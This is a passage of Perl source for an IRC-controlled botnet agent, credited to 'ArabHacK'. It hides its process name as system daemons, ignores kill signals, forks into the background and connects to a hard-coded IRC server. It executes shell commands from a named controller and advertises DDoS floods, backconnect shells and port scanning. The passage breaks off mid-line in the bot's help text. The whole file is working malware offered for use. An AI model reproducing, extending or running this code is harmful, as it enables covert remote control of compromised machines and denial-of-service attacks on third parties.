#!/usr/bin/perl # ############################################### # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata # Anak # # ArabHacK [on] Dalnet © 2008 # # ############################################### use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; ################################################## # Ketika Rasa membelenggu kata™ # # khoyircrew@yahoo.com # # Created By kangkung # # #ArabHacK # # irc.dal.net # ################################################## my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]"); $processo = $ps[rand scalar @ps]; my $linas_max='10'; my $sleep='3'; my $cmd=""; my $id=""; my $spread=""; my @adms=("yoga0400"); my @canais=("#kill.ur.idol","#yogyacardus"); ################################################## # Ketika Rasa membelenggu kata™ # # khoyircrew@yahoo.com # # Created By kangkung # # #ArabHacK # # irc.dal.net # ################################################## my @nickname = ("AyaX", "AbankSayang", "AsMaraCinta", "ADmonZ", "AshemZ", "ArMoNe", "AstuTie", "ArManMuaLagi", "AsHiteNoYuKi", "AsTi`LuMut", "Alda^Cakhep", "AldaRiNa", "AdheLin", "AndreAz", "AgroLoG", "ASMatarz", "Angklugs", "Asmiati", "Amaludin", "AiniMul", "Aachserem", "AmsterMoLd", "ArSmoDels", "ANgeL`T`Lork", "AnDho`Ra", "AndaIkuTahu", "AndrianiKu", "ANdrakuLi", "Ansri^Cute", "AntonLUCU", "AntaraAkudanDia", "ArdanCubby", "ArniCakep", "AranKal", "ArisTeleke", "Armoniculun", "ArANSayNo", "AtakuCaruni", "AuSiBadeMu", "AureMaPende", "Axeslrod", "AKuSayangKamu", "AnDigusAe", "AyKosHUki", "Aylinklung", "AziBishi", "BaKLucipok", "BackToLaptop", "BaBonNakal", "BaNdoCewek", "BagoLSadis", "BairlahKuPergi", "BakauHuNi", "BalaJar`Nich", "BallonBiru", "BalCoklat", "BalCeMara", "Bantal`ngePink", "BaraApiCinta", "BaraNgKali", "BarangCuriaN", "BaranKEceran", "BarBarLuCu", "BarbelaTi", "Barnekat", "BarnOrak", "BarrAngkaliKu", "Barr4KUla", "BartaToMuda", "BartoTongan", "Bartomboyneh", "BasavAyach", "BasheVip", "BatchFiles", "BaumiNuman", "BayGone", "BayoCie", "Beaconek", "Bealboleh", "BeanJelek", "BeckBones", "Bed2untukmu", "BedforKamusay", "Beha36c", "BelangCowok", "Bela_Jar_ngeCok", "BeLMuarah", "BelidaCakep", "BellaMuanis", "BellHouseEnak", "BellIkanKucinta", "BellokKananTrusTerjun", "Benedis-cute", "Bergosong", "Berke-keKele", "Bernardcupu", "Bernasabonar", "Bersamalagi", "Berrikankucintha", "BettiLaveani", "BeyCintakuini", "Biagiandalam", "BicelBoneng", "BiniIdaman", "Bir-dan-anggur", "BisMalam-minggu", "BishaAjadeh", "Black-Claw", "Black-Cutes", "BlagiaPatahHati", "BlakoLakoke", "Blankpages", "BliSaMuanis", "BliardTukangUtang", "BlooNNih", "BloemBerKasa", "BloSariKucing", "Blox34Mbakar", "BlyBongBokong", "BolGegerOtak", "BoKannyaCinta", "BolaCinta", "BolongCelanaku", "BonDuluyach", "BonaKe", "BonitakuCakep", "BondanDonk", "BoKanHanyakamu", "Bookataue-book", "Boongkan", "BoorTanah", "Borcakdarah", "Bordenhitan", "BosLagiapaneh", "BotLamaBanget", "BotoLDoDolz", "BouKamutuh", "BouCakepdeh", "Bourdengaku", "BoweLCutez", "BoxerCiPoK", "BoyaLiLiCUt", "BoyeNgLoloS", "BoyCakep", "BoyMacammacam", "BoYang", "Brayeswah", "Bra36c", "Brapik-apik", "BrengCarako", "BreediMahal", "Brenang-di-laut", "BrendamDiPantai", "BrewbrowSosok", "Brewlakon", "BridgeCakep", "Bridganas", "BrinTendang", "BritisSpirtus", "BroKoKok", "BrooNonton", "Brzykarte", "BuchaMacan", "Buddikucing", "Buldarisma", "BuTuti", "Budarmansyah", "Bubursapi", "BurketLoh", "BurahMurah", "BusetLahLoh", "Byabuyar", "ByelahOke", "ByBoyCakep", "CageModel", "CalmeCute", "CameSiniDonksay", "CamKuinirusak", "Canley", "Capanni", "Caperton", "Capocaccia", "Capodilupo", "Cappuccio", "Capursi", "Caratozzolo", "Carayannopoulos", "Carlin", "Carlos", "Carlyle", "Carmichael", "Caroti", "Carper", "Cartmill", "Cascio", "Case", "Caspar", "Castelda", "Cavanagh", "Cavell", "Ceniceros", "Cerioli", "Chapman", "Charles", "Cheang", "Cherry", "Chervinsky", "Chiassino", "Chien", "Childress", "Childs", "Chinipardaz", "Chinman", "Christenson", "Christian", "Christiano", "Christie", "Christopher", "ChuPuZ", "Chupasko", "Church", "Ciampaglia", "Cicero", "Cifarelli", "Claffey", "Clancy", "Clark", "Clement", "Clifton", "Clow", "Coblenz", "Coito", "Coldren", "Colella", "Collard", "Collis", "Compton", "Compton", "Comstock", "Concino", "Condodina", "Connors", "Corey", "Cornish", "Cosmides", "Counter", "Coutaux", "Crawford", "Crocker", "Croshaw", "Croxen", "Croxton", "Cui", "Currier", "Cutler", "Cvek", "Cyders", "daSilva", "Daldalian", "Daly", "D'Ambra", "Danieli", "Dante", "Dapice", "D'arcangelo", "Das", "Dasgupta", "Daskalu", "David", "Dawkins", "DeGennaro", "DeLaPena", "del'Enclos", "deRousse", "Debroff", "Dees", "Defeciani", "Delattre", "Deleon-Rendon", "Delger", "Dell'acqua", "Deming", "Dempster", "Demusz", "Denault", "Denham", "Denison", "Desombre", "Deutsch", "D'fini", "Dicks", "Diefenbach", "Difabio", "Difronzo", "Dilworth", "Dionysius", "Dirksen", "Dockery", "Doherty", "Donahue", "Donner", "Doonan", "Dore", "Dorf", "Dosi", "Doty", "Doug", "Dowsland", "Drinker", "D'souza", "Duffin", "Durrett", "Dussault", "Dwyer", "Eardley", "Ebeling", "Eckel", "Edley", "Edner", "Edward", "Eickenhorst", "Eliasson", "Elmendorf", "Elmerick", "Elvis", "Encinas", "Enyeart", "Eppling", "Erbach", "Erdman", "Erdos", "Erez", "Espinoza", "Estes", "Etter", "Euripides", "Everett", "Fabbris", "Fagan", "Faioes", "Falco-Acosta", "Falorsi", "Faris", "Farone", "Farren", "Fasso'", "Fates", "Feigenbaum", "Fejzo", "Feldman", "Fernald", "Fernandes", "Ferrante", "Ferriell", "Feuer", "Fido", "Field", "Fink", "Finkelstein", "Finnegan", "Fiorina", "Fisk", "Fitzmaurice", "Flier", "Flores", "Folks", "Forester", "Fortes", "Fortier", "Fossey", "Fossi", "Francisco", "Franklin-Kenea", "Franz", "Frazier-Davis", "Freid", "Freundlich", "Fried", "Friedland", "Frisken", "Frowiss", "Fryberger", "Frye", "Fujii-Abe", "Fuller", "Furth", "Fusaro", "Gabrielli", "Gaggiotti", "Galeotti", "Galwey", "Gambini", "Gascaneld", "Garman", "Garonna", "Geller", "Gemberling", "Georgi", "Gerrett", "Ghorai", "Gibbens", "Gibson", "Gilbert", "Gili", "Gill", "Gillispie", "Gist", "Gleason", "Glegg", "Glendon", "Goldfarb", "Goncalves", "Good", "Goodearl", "Goody", "Gozzi", "Gravell", "Greenberg", "Greenfeld", "Griffiths", "Grigoletto", "Grummell", "Gruner", "Gruppe", "Guenthart", "Gunn", "Guo", "Ha", "Haar", "Hackman", "Hackshaw", "Haley", "Halkias", "Hallowell", "Halpert", "Hambarzumjan", "Hamer", "Hammerness", "Hand", "Hanssen", "Harding", "Hargraves", "Harlow", "Harrigan", "Hartman", "Hartmann", "Hartnett", "Harwell", "Haviaras", "Hawkes", "Hayes", "Haynes", "Hazlewood", "Heermans", "Heft", "Heiland", "Hellman", "Hellmiss", "Helprin", "Hemphill", "Henery", "Henrichs", "Hernandez", "Herrera", "Hester", "Heubert", "Heyeck", "Himmelfarb", "Hind", "Hirst", "Hitchcock", "Hoang", "Hock", "Hoffer", "Hoffman", "Hokanson", "Hokoda", "Holmes", "Holoien", "Holter", "Holway", "Holzman", "Hooker", "Hopkins", "Horsley", "Hoshida", "Hostage", "Hottle", "Howard", "Hoy", "Huey", "Huidekoper", "Hungerford", "Huntington", "Hupp", "Hurtubise", "Hutchings", "Hyde", "Iaquinta", "Ichikawa", "Igarashi", "Inamura", "Inniss", "Isaac", "Isaievych", "Isbill", "Isserman", "Iyer", "Jacenko", "Jackson", "Jagers", "Jagger", "Jagoe", "Jain", "Jamil", "Janjigian", "Jarnagin", "Jarrell", "Jay", "Jeffers", "Jellis", "Jenkins", "Jespersen", "Jewett", "Johannesson", "Johannsen", "Johns", "Jolly", "Jorgensen", "Jucks", "Juliano", "Julious", "Kabbash", "Kaboolian", "Kafadar", "Kalbfleisch", "Kaligian", "Kalil", "Kalinowski", "Kalman", "Kamel", "Kangis", "Karpouzes", "Kassower", "Kasten", "Kawachi", "Kee", "Keenan", "Keepper", "Keith", "Kelker", "Kelsey", "Kempton", "Kemsley", "Kendall", "Kerry", "Keul", "Khong", "Kimmel", "Kimmett", "Kimura", "Kindall", "Kinsley", "Kippenberger", "Kirscht", "Kittridge", "Kleckner", "Kleiman", "Kleinfelder", "Klemperer", "Kling", "Klinkenborg", "Klint", "Knuff", "Kobrick", "Koch", "Kohn", "Koivumaki", "Kommer", "Koniaris", "Konrad", "Kool", "Korzybski", "Kotter", "Kovaks", "Kraemer", "Krailo", "Krasney", "Kraus", "Kroemer", "Krysiak", "Kuenzli", "Kumar", "Kusman", "Kuwabara", "La", "Labunka", "Lafler", "Laing", "Lallemant", "Landes", "Lankes", "Lantieri", "Lanzit", "Laserna", "Lashley", "Lawless", "Lecar", "Lecce", "Leclercq", "Leite", "Lenard", "l'Enclos", "Lesser", "Lessi", "Liakos", "Lidano", "Liem", "Light", "Lightfoot", "Lim", "Linares", "Linda", "Linder", "Line", "Linehan", "Linzee", "Lippmann", "Lipponen", "Little", "Litvak", "Livernash", "Livi", "Livolsi", "Lizardo", "Locatelli", "Longworth", "Lossthelok", "Loveman", "Lowenstein", "Lozak", "Lubin", "Lucas", "Luciano", "Luczkow", "Luecke", "Lunetta", "Luoma", "Lussier", "Lutcavage", "Luzader", "MaSakSendiri", "Maccormac", "Macdonald", "Maceachern", "Macintyre", "Mackenney", "MacMillan", "Macyh", "Madigan", "Maggio", "Mahony", "Maier", "Maine-Hershey", "Maisano", "Malatesta", "Maller", "Malova", "Manalis", "Mandel", "Manganiello", "Mantovan", "March", "Marchbanks", "Marcus", "Margalit", "Margetts", "Marques", "Martinez", "Martochio", "Marton", "Marubini", "Massih", "Matalka", "Matarazzo", "Matsukata", "Mattson", "Mauzy", "Maysaro", "Mazzali", "Mazziotta", "Mcbride", "Mccaffery", "Mccall", "Mcclearn", "Mcdowell", "Mcelroy", "McFadden", "Mcghee", "Mcgoldrick", "McIlroy", "Mcintosh", "Mckenna", "Mclane", "Mclaren", "Mcnealy", "Mcnulty", "Meccariello", "Memisoglu", "Menzies", "Merikoski", "Merlani", "Merminod", "Merseth", "Merz", "Metelka", "Metropolis", "Meurer", "Michelman", "Middle", "Mieher", "Mills", "Minh", "Mini", "Minichiello", "Gonzalez", "Mitropoulos", "Mittal", "Mocroft", "Modestino", "Moeller", "Mohr", "Moiamedi", "Monque", "Montilio", "MooreDeCh.", "Morani", "Moreton", "Morrison", "Morrow", "Mortimer", "Mosher", "Mosler", "Mostafavi", "Motooka", "Mudarri", "Muello", "Mugnai", "Mulkern", "Mulroy", "Mumford", "Mussachio", "Naddeo", "Napolitano", "Nardi", "Nardone", "Naviaux", "Nayduch", "Nelson", "Nenna", "Nesci", "Neuman", "Newfeld", "Newlin", "Ng", "Ni", "Nickerson", "Nickoloff", "Nisenson", "Nitabach", "Notman", "Nuzum", "Ocougne", "Ogata", "Oh", "O'hagan", "Oldford", "Olsen", "Olson", "Olszewski", "O'malley", "Oman", "O'meara", "Opel", "Oray", "Oscaneld", "Orsi", "Ospina", "Ostrowski", "Ottaviani", "Otten", "Ouchida", "Ovid", "PaesDealmeida", "Paine", "Palayoor", "Palepu", "Pallara", "Palmitesta", "Panadero", "Panizzon", "Pantilla", "Paoletti", "Parmeggiani", "Parris", "Partridge", "Pascucci", "Patefield", "Patrick", "Pattullo", "Pavetti", "Pavlon", "Pawloski", "Paynter", "Peabody", "Pearlberg", "Pederson", "Peishel", "Penny", "Pereira", "Perko", "Perlak", "Perlman", "Perna", "Perone", "Perrimon", "Peters", "Petruzello", "Pettibone", "Pettit", "Pfister", "Pilbeam", "Pinot", "Plancon", "Plant", "Plasket", "Plous", "Pohh", "Pocobene", "Poincaire", "Pointer", "Poirier", "Polak", "Polanyi", "Politis", "Poma", "Poolman", "Powers", "Presper", "Preucel", "Prevost", "Pritchard", "Pritz", "Proietti", "Prothrow-Stith", "Puccia", "Pugh", "Pynchon", "Quaday", "Quetin", "Rabe", "Rabkin", "Radeke", "Rajagopalan", "Raney", "Rangan", "Rankin", "Rapple", "Rayport", "Redden-Tyler", "Reedquist", "Cunningham", "Reinold", "Remak", "Renick", "Repetto", "Resnik", "Rhea", "Richmond", "Rielly", "Rindos", "Rineer", "Rish", "Rivera", "Robinson", "Rocha", "Roesler", "Rogers", "Ronen", "Row", "Roby", "Robert", "Royal", "Ru", "Ruan", "Ruderman", "Ruescher", "Rush", "Ryu", "Sabatello", "Sadler", "Safire", "Sahu", "Sali", "Samson", "Sanchez-Ramirez", "Sanna", "Sapers", "Sarin", "Sartore", "Sase", "Satin", "Satta", "Satterthwaite", "Sawtell", "Sayied", "Scarponi", "Scepan", "Scharf", "Scharlemann", "Scheiner", "Schiano", "Schifini", "Schilling", "Schmitt", "Schossberger", "Schuman", "Schutte", "Schuyler", "Schwan", "Schwickrath", "Scovel", "Scudder", "Seaton", "Seeber", "Segal", "Sekler", "Selvage", "Sen", "Sennett", "Seterdahl", "Sexton", "Seyfert", "Shaikh", "Shakis", "Shankland", "Shanley", "Shar", "Shatrov", "Shavelson", "Shea", "Sheats", "Shepherd", "Sheppard", "Shepstone", "Shesko", "Shia", "Shibata", "Shimon", "Siesto", "Sigalot", "Sigini", "Signa", "Silverman", "Silvetti", "Sinsabaugh", "Sirilli", "Sites", "Skane", "Skerry", "Skoda", "Sloan", "Slowe", "Smilow", "Sniffen", "Snodgrass", "Socolow", "Solon", "Somers", "Sommariva", "Sorabella", "Sorg", "Sottak", "Soukup", "Soule", "Soultanian", "Spanier", "Sparrow", "Spaulding", "Speizer", "Spence", "Sperber", "Spicer", "Spiegelhalter", "Spiliotis", "Spinrad", "StMartin", "Stalvey", "Stam", "Stang", "Stassinopolus", "States", "Statlender", "Stefani", "Steiner", "Stephanian", "Stepniewska", "Stewart-Oaten", "Stiepock", "Stillwell", "Stock", "Stockton", "Stockwell", "Stolzenberg", "Stonich", "Storer", "Stott", "Strange", "Strauch", "Streiff", "Stringer", "Sullivan", "Sumner", "Suo", "Surdam", "Sweeting", "Sweetser", "Swindle", "Tagiuri", "Tai", "Talaugon", "Tambiah", "Tandler", "Tanowitz", "Tatar", "Taveras", "Tawn", "Tcherepnin", "Teague", "Temes", "Temmer", "Tenney", "Terracini", "Than", "Thavaneswaran", "Theodos", "Thibault", "Thisted", "Thomsen", "Throop", "Tierney", "Till", "Timmons", "Tofallis", "Tollestrup", "Tolls", "Tolman", "Tomford", "Toomer", "Topulos", "Torresi", "Torske", "Towler", "Toye", "Traebert", "Trenga", "Trewin", "Tringali", "Troiani", "Troy", "Truss", "Tsiatis", "Tsomides", "Tsukurov", "Tuck", "Tudge", "Tukan", "Turano", "Turek", "Tuttle", "Twells", "Tzamarias", "Ullman", "Untermeyer", "Upsdell", "Urban", "Urdang-Brown", "Usdan", "Uzuner", "Vacca", "Waite", "Valberg", "Valencia", "Wales", "Wallenberg", "Walter", "vanAllen", "VanZwet", "Vandenberg", "Vanheeckeren", "Warshafsky", "Wasowska", "Vasquez", "Waugh", "Weighart", "Weingarten", "Weinhaus", "Weissbourd", "Weissman", "Velasquez", "Welles", "Welsh", "Wengret", "Venne", "Verghese", "Wescott", "Wetzel", "Whately", "Whilton", "White", "Whitla", "Whittaker", "Viana", "Viano", "Wiedersheim", "Wiener", "Viens", "Vignola", "Wilder", "Wilhelm", "Wilk", "Wilkin", "Wilkinson", "Villarreal", "Willstatter", "Wilson", "Vitali", "Viviani", "Voigt", "Wolk", "VonHoffman", "Woo", "Wooden", "Woods", "Woods-Powell", "Vorhaus", "Votey", "Yacono", "Yamane", "Yankee", "Yarchuk", "Yates", "Ybarra", "Yedidia", "Yesson", "Yetiv", "Yoffe", "Yoo", "Youk-See", "Yu", "Zachary", "Zahedi", "Zangwill", "Zegans", "Zerbini", "Zoldak", "Zucconi", "Zurn", "Zwiers"); my @rname = ("Henca Team", "Cinta lawan Selingkuh", "SeRinG PuTus Cinta", "Mr. Mudah Jatuh Cinta", "Punk ICU", "R0ck and Rool", "Ketika Rasa Tak Dapat Diungkap", "Percuma Kita Bersama DinDa", "Manusia Bodoh", "Coli sambil nonton film biru", "Lihat Cewek2 Pake tanktop", "Power of Keindahan", "TigaBelas DelapanTujuh", "Menyelam Sambil Minum Es Krim", "LaGi Chat Ama Cewek Gw", "Apa Lho Lihat-lihat", "Gw Emang Ganteng", "Henca 2008", "Dari Dompu Ke Mataram", "Dari Mata Turun Kehati", "Saya Bukan Siapa-siapa", "Ketika cinta penuh dengan makna", "Jangan Tanya AKu ini siapa?", "Henca Is Back", "Samada Aka Sia sanai-nai", "Cou nggara Mu Cinae", "Gaya EnamSembilan", "Kamu LIhat Apa, Kangen Yach", "Cinta, Damai dan Sex?", "Founder Rumah Sakit Jiwa", "Selamat Jalan Sayang", "SaMaDa Sampe made", "Tiada Hari Tanpa Sebuah Mimpi", "Aku Benci Semua Yang Tak Pasti", "Suka Sama Aku Yach", "Whois Lagi Donk say..", "Samada aka Nggomike", "Dj Shinchi^AdeKUe", "Yang Whois Orang Gila", "Random Is OFF", "n0b0d1 p3tt1n9 w1th m3", "AKu Adalah Aku, KAmu siapa", "DouMaLinGi", "Ashem bin pahit", "Lihat Aku Yang Cakep Khan", "ISabela Adalah Kisah", "LA Hami Di La Hima", "Sampela Lao La Sampula", "Marewo ro marawa", "Manangi ro masamangi", "Na SampeLuku", "Power Of Kerinduan", "On The Fly apa yach", "Founder Henca", "Jalan Cinta Kita", "Jalan Siapa Ini", "Allah Hu Akbar", "Im your god idiot", "Chat Sambil Baca Komik Hentai", "Manga Hentai", "Intan Dan Berlian", "Putri Kesepian", "Keep it to yourself!", "Kemana Aku harus pergi", "WhiresLoves", "Kekuatan Cinta dan Sayang", "Aku cinta padamu", "Cinta Kau dimana?", "Aku Disini cinta!", "LInux atau windows", "Maria Carrey", "Mencari cinta", "Hantu Genit", "Cowok Cupu", "Cewek genit", "Kekuatan Dalam Keindahan", "Ama Uma", "Gunung Dua Di Raba", "Ompu Hima", "VsMode Di Rasa", "Scan Mode On", "Set Mode Diam", "Cinta tak dapat di ungkap dengan kata", "Dia adalah Cewekku", "SamPela", "SampuLa"); my $nick = $nickname[rand scalar @nickname]; my $ircname = $nickname[rand scalar @nickname]; my $realname = $rname[rand scalar @rname]; $servidor='irc.batak.me.uk' unless $servidor; my $porta='6667'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); ################################################## # Ketika Rasa membelenggu kata™ # # khoyircrew@yahoo.com # # Created By kangkung # # #ArabHacK # # irc.dal.net # ################################################## #Connect $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Masalah fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 Mic22\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #End of Connect ################################################## # Ketika Rasa membelenggu kata™ # # khoyircrew@yahoo.com # # Created By kangkung # # #ArabHacK # # irc.dal.net # ################################################## # PREFIX # ###################### if ($args =~ /^(\Q$meunick\E|\!damn)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!noe" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } ###################### # End of PREFIX # ###################### elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { ###################### # Help # ###################### if ($funcarg =~ /^help/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· Haderrrr...silahkan pilih bozz"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@ddos"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@scanscan"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@backconnect"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@shell"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@portscanner"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· Atau kalo boz mau tau semua perintah, silahkan ketik ini:"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@commands"); } if ($funcarg =~ /^ddos/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· There are 3 DDossers in this bot"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· UDPFlood, HTTPFlood and TCPFlood"); sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@udpflood